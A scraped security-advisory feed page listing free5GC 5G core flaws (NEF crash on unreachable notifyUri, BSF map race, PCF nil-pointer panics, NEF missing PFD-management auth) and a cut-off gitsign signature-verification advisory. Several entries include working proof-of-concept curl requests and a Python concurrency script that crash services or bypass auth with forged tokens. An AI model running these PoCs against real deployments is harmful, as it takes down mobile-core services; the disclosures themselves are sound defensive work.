### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

الإصدارات المتأثرة

All versions < 1.2.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 github.com/free5gc/bsf 📌 All versions < 1.0.2 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `Repla...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. ### Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. ### PoC Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` ### Impact Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

الإصدارات المتأثرة

All versions < 1.0.2

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 github.com/free5gc/pcf 📌 All versions < 1.4.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == "1"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. ...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == "1"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`. The trigger is a single valid authenticated request -- changing only `suppFeat` from `"0"` to `"1"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`. This endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path. ### Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - PCF endpoint: `http://10.100.200.9:8000` - Validation date: 2026-03-12 Vulnerable handler path: ``` postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus) ``` In `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `"0"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `"1"` the branch is entered and the nil-deref fires. Code evidence (paths in `free5gc/pcf`): - Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go` - Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. 1. Obtain a valid `npcf-policyauthorization` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization' ``` 2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == "1"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. Control comparison -- same request shape but `suppFeat="0"` -> normal `201 Created`: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 201 Created ``` 4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`: ``` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat="0"` proves the request shape itself is otherwise valid. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat="1"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs. Any party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65

الإصدارات المتأثرة

All versions < 1.4.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

عالية
📦 github.com/free5gc/pcf 📌 All versions < 1.4.2 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together ...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into `HTTP 500`, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an `Authorization` header because the PCF `Npcf_SMPolicyControl` route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated. ### Details Validated against the PCF container in the official Docker compose lab. - free5GC version: `v4.1.0` (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: `http://10.100.200.9:8000` Vulnerable handler path (paraphrased from the captured stack trace): ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405 ``` The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct. Code evidence (paths in `free5gc/pcf`): - Panic site: - `NFs/pcf/internal/sbi/processor/smpolicy.go:82` - Route dispatch: - `NFs/pcf/internal/sbi/api_smpolicy.go:86` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. Send a single POST whose `dnn` is unknown to UDR -- this drives the downstream OpenAPI call to return `404 Not Found`, which then triggers the nil-deref panic: ``` curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPP_ACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }' ``` Observed response: `HTTP 500 Internal Server Error` with empty body. PCF container logs show: ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82... ``` The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails. ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844. Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present). Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62

الإصدارات المتأثرة

All versions < 1.4.2

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

حرجة
📦 github.com/free5gc/nef 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authoriza...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52` - Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13` - Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70` - POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63` - GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189` - DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also accepted with forged token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

غير محدد
📦 github.com/sigstore/gitsign 📌 All versions < 0.16.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary `gitsign verify` and `gitsign verify-tag` re-encode commit/tag objects through go-git's `EncodeWithoutSignature` before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate `tree` headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes `gitsign verify` while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content. ## Severity **Medium** (CVSS 3.1: 5.7) `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network — a malformed commit can be distributed via any accessible git remote - **Attack Complexity:** High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled) - **Privileges Required:** None — the most impactful form (signature replay) requires no signing key - **User Interaction:** Required — a victim must run `gitsign verify` on the malformed commit - **Scope:** Unchanged — impact is confined to the repository under verification - **Confidentiality Impact:** None - **Integrity Impact:** High — a verified signature appears to endorse content different from what git-core resolves and presents to users - **Availability Impact:** None ## Affected Component - `internal/commands/verify/verify.go` — `(o *options).Run` (line 75) - `internal/commands/verify-tag/verify_tag.go` — `(o *options).Run` (line 77) - `pkg/git/verify.go` — `ObjectHash` (lines 126–158, specifically the `commit()` round-trip at 161–176) ## CWE - **CWE-347**: Improper Verification of Cryptographic Signature - **CWE-295**: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered) ## Description ### Root cause: re-encoding instead of raw-byte verification When `gitsign verify` is invoked, the commit is opened via go-git and its body is reconstructed through `EncodeWithoutSignature` before being passed to the cryptographic verifier: ```go // internal/commands/verify/verify.go:63–92 c, err := repo.CommitObject(*h) // go-git parses the raw object ... c2 := new(plumbing.MemoryObject) if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form return err } r, _ := c2.Reader() data, _ := io.ReadAll(r) summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes ``` The same pattern appears in `verify-tag`: ```go // internal/commands/verify-tag/verify_tag.go:76–95 tagData := new(plumbing.MemoryObject) if err := tagObj.EncodeWithoutSignature(tagData); err != nil { return err } ``` ### The loose-parsing assumption in go-git The codebase itself acknowledges the problem in `ObjectHash`: ```go // pkg/git/verify.go:137–142 // We're making big assumptions here about the ordering of fields // in Git objects. Unfortunately go-git does loose parsing of objects, // so it will happily decode objects that don't match the unmarshal type. // We should see if there's a better way to detect object types. switch { case bytes.HasPrefix(data, []byte("tree ")): encoder, err = commit(obj, sig) ``` go-git's loose parsing means that for a commit containing two `tree` headers, it silently discards the first and retains the second. `EncodeWithoutSignature` then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves. ### Divergent verification paths confirm the inconsistency The `git verify-commit` path (`internal/commands/root/verify.go`) receives the raw commit bytes directly from git-core and does **not** re-encode them: ```go // internal/commands/root/verify.go:56–70 detached := len(args) >= 2 if detached { data, sig, err = readDetached(s, args...) // raw bytes from git-core } else { sig, err = readAttached(s, args...) } ... summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding ``` The two paths therefore reach opposite conclusions for the same malformed commit: `git verify-commit` fails (raw bytes with both trees ≠ signed canonical bytes), while `gitsign verify` succeeds (re-encoded bytes match signed bytes). ### Concrete attack: signature replay without a signing key An attacker does not need a signing key to trigger the confusion. Given any existing legitimately 